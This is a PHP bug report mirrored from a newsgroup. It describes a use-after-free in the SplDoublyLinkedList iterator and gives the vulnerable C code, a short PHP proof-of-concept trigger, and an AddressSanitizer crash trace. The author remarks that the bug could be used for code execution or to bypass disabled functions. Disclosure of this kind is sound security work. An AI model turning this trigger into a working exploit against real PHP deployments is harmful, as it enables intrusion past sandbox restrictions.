[php-src] Issue #22062: SplDoublyLinkedList iterator UAF via destructor releasing next node

[email protected] (therealcoiffeur)
Newsgroups php.bugs
Message-ID <[email protected]>
Issue: https://github.com/php/php-src/issues/22062
Author: therealcoiffeur

### Description

### Summary

In `IT_MODE_DELETE | IT_MODE_FIFO` mode, `spl_dllist_it_helper_move_forward()` advances the iterator pointer to `old->next` (node B) at line 810 before that node's reference count has been incremented by the iterator. The only reference to node B at that moment is from the list itself (RC = 1).

The function then calls `spl_ptr_llist_shift()` to remove the old head from the list, followed by `zval_ptr_dtor(&prev)` to run the removed element's destructor. That destructor can execute arbitrary PHP code. If the destructor removes node B from the list (e.g., via `offsetUnset(0)`), node B's RC drops to zero and its memory is freed. When `spl_dllist_it_helper_move_forward()`
then executes `SPL_LLIST_CHECK_ADDREF(*traverse_pointer_ptr)` at line 823, it writes into the freed node B struct (a UAF write).

### Vulnerable Source Code

```c
// ext/spl/spl_dllist.c:794-825
static void spl_dllist_it_helper_move_forward(
    spl_ptr_llist_element **traverse_pointer_ptr,
    int *traverse_position_ptr,
    spl_ptr_llist *llist, int flags)
{
    if (*traverse_pointer_ptr) {
        spl_ptr_llist_element *old = *traverse_pointer_ptr;

        if (flags & SPL_DLLIST_IT_LIFO) {
            ...
        } else {
            *traverse_pointer_ptr = old->next;      // line 810: advance; RC NOT bumped yet

            if (flags & SPL_DLLIST_IT_DELETE) {
                zval prev;
                spl_ptr_llist_shift(llist, &prev);  // line 814: remove head

                zval_ptr_dtor(&prev);               // line 816: PHP destructor fires
                                                    //   can free *traverse_pointer_ptr
            } else {
                (*traverse_position_ptr)++;
            }
        }

        SPL_LLIST_DELREF(old);                           // line 822
        SPL_LLIST_CHECK_ADDREF(*traverse_pointer_ptr);   // line 823: UAF WRITE if freed
    }
}
```

```c
// ext/spl/spl_dllist.c:38-50 -- reference count macros
#define SPL_LLIST_RC(elem)        Z_EXTRA((elem)->data)
#define SPL_LLIST_DELREF(elem)    if (!--SPL_LLIST_RC(elem)) { efree(elem); }
#define SPL_LLIST_CHECK_ADDREF(e) if (e) SPL_LLIST_RC(e)++  // writes rc field
```

### How to Trigger

```php
<?php

$list = new SplDoublyLinkedList();
$list->setIteratorMode(
    SplDoublyLinkedList::IT_MODE_FIFO |
    SplDoublyLinkedList::IT_MODE_DELETE
);

$list->push(new class($list) {
    public function __construct(private SplDoublyLinkedList $list) {}
    public function __destruct() {
        if ($this->list->count() > 0) {
            $this->list->offsetUnset(0);
        }
    }
});

$list->push(new stdClass());

foreach ($list as $item) {
    unset($item);
}
```

Requires `IT_MODE_DELETE` (explicit) and an element whose destructor removes the next element from the list (e.g., `offsetUnset(0)` after a shift has made node B the new head at index 0).

Two constraints must both be satisfied for the destructor to fire at the critical window inside `spl_dllist_it_helper_move_forward()`:

1. No `break` before the loop advances: The UAF is inside `next()` (`spl_dllist_it_move_forward` → `spl_dllist_it_helper_move_forward`). A `break` in the foreach body exits before the VM ever calls `next()`.

2. `unset($item)` before the loop advances: `FE_FETCH` copies the element zval into `$item`, raising node A's data RC from 1 to 2. When `next()` later calls `spl_ptr_llist_shift` + `zval_ptr_dtor(&prev)`, the RC drops from 2 to 1 (the destructor does not fire). For the destructor to fire during `zval_ptr_dtor(&prev)` (the exact window where node B is unprotected), the RC must be 1 going into `next()`. `unset($item)` inside the foreach body restores that, so that `zval_ptr_dtor(&prev)` drives the RC to 0 and executes `__destruct` while `*traverse_pointer_ptr` already points to node B but node B's RC has not yet been incremented.

<u>Command:</u>

```bash
USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f5/poc.php
```

<u>Output:</u>

```
=================================================================
==30138==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000042fbc at pc 0x000101b0ffe0 bp 0x00016f224170 sp 0x00016f224168
READ of size 4 at 0x603000042fbc thread T0
    #0 0x000101b0ffdc in spl_dllist_it_helper_move_forward spl_dllist.c:823
    #1 0x000101b186bc in spl_dllist_it_move_forward spl_dllist.c:873
    #2 0x000102745c1c in zend_fe_fetch_object_helper_SPEC_TAILCALL zend_vm_execute.h:55835
    #3 0x000102303a9c in execute_ex zend_vm_execute.h:110168
    #4 0x000102304430 in zend_execute zend_vm_execute.h:115586
    #5 0x000102924b44 in zend_execute_script zend.c:1971
    #6 0x000101f13658 in php_execute_script_ex main.c:2646
    #7 0x000101f13bc0 in php_execute_script main.c:2686
    #8 0x00010292b4b8 in do_cli php_cli.c:947
    #9 0x000102929904 in main php_cli.c:1370
    #10 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)

0x603000042fbc is located 28 bytes inside of 32-byte region [0x603000042fa0,0x603000042fc0)
freed by thread T0 here:
    #0 0x000105bad258 in free+0x7c (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x41258)
    #1 0x000102187664 in __zend_free zend_alloc.c:3571
    #2 0x00010218b37c in _efree zend_alloc.c:2788
    #3 0x000101b0f590 in zim_SplDoublyLinkedList_offsetUnset spl_dllist.c:761
    #4 0x0001025b3ddc in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54785
    #5 0x000102303a9c in execute_ex zend_vm_execute.h:110168
    #6 0x0001022dd524 in zend_call_function zend_execute_API.c:1016
    #7 0x0001022df520 in zend_call_known_function zend_execute_API.c:1114
    #8 0x0001028a34fc in zend_call_known_instance_method zend_API.h:871
    #9 0x0001028a0c60 in zend_call_known_instance_method_with_0_params zend_API.h:877
    #10 0x0001028a05c4 in zend_objects_destroy_object zend_objects.c:171
    #11 0x00010289de8c in zend_objects_store_del zend_objects_API.c:178
    #12 0x0001029053d0 in rc_dtor_func zend_variables.c:56
    #13 0x0001029054e4 in i_zval_ptr_dtor zend_variables.h:44
    #14 0x00010290540c in zval_ptr_dtor zend_variables.c:83
    #15 0x000101b0fe18 in spl_dllist_it_helper_move_forward spl_dllist.c:816
    #16 0x000101b186bc in spl_dllist_it_move_forward spl_dllist.c:873
    #17 0x000102745c1c in zend_fe_fetch_object_helper_SPEC_TAILCALL zend_vm_execute.h:55835
    #18 0x000102303a9c in execute_ex zend_vm_execute.h:110168
    #19 0x000102304430 in zend_execute zend_vm_execute.h:115586
    #20 0x000102924b44 in zend_execute_script zend.c:1971
    #21 0x000101f13658 in php_execute_script_ex main.c:2646
    #22 0x000101f13bc0 in php_execute_script main.c:2686
    #23 0x00010292b4b8 in do_cli php_cli.c:947
    #24 0x000102929904 in main php_cli.c:1370
    #25 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)

previously allocated by thread T0 here:
    #0 0x000105bad164 in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x41164)
    #1 0x00010218b998 in __zend_malloc zend_alloc.c:3543
    #2 0x00010218b250 in _emalloc zend_alloc.c:2778
    #3 0x000101b096c8 in spl_ptr_llist_push spl_dllist.c:175
    #4 0x000101b095d0 in zim_SplDoublyLinkedList_push spl_dllist.c:466
    #5 0x0001025b3ddc in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54785
    #6 0x000102303a9c in execute_ex zend_vm_execute.h:110168
    #7 0x000102304430 in zend_execute zend_vm_execute.h:115586
    #8 0x000102924b44 in zend_execute_script zend.c:1971
    #9 0x000101f13658 in php_execute_script_ex main.c:2646
    #10 0x000101f13bc0 in php_execute_script main.c:2686
    #11 0x00010292b4b8 in do_cli php_cli.c:947
    #12 0x000102929904 in main php_cli.c:1370
    #13 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)

SUMMARY: AddressSanitizer: heap-use-after-free spl_dllist.c:823 in spl_dllist_it_helper_move_forward
Shadow bytes around the buggy address:
  0x603000042d00: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
  0x603000042d80: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
  0x603000042e00: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
  0x603000042e80: fd fd fd fd fa fa fd fd fd fa fa fa fd fd fd fa
  0x603000042f00: fa fa fd fd fd fa fa fa 00 00 00 fa fa fa fd fd
=>0x603000042f80: fd fd fa fa fd fd fd[fd]fa fa fa fa fa fa fa fa
  0x603000043000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x603000043080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x603000043100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x603000043180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x603000043200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==30138==ABORTING
[1]    30138 abort      USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f5/poc.php
```

> Note: Even though this could be used to execute arbitrary code or bypass disabled functions, GHSA-j2px-7g2w-jjg4 is not part of PHP's threat model (which is wrong, but that's not my call).
> "Hey, this is not a security issue. You have to write carefully crafted code to trigger this.
Please re-open this as a normal bug."

### PHP Version

```plain
PHP 8.6.0-dev (cli) (built: May 16 2026 16:38:50) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
    with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce
```

### Operating System

_No response_
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.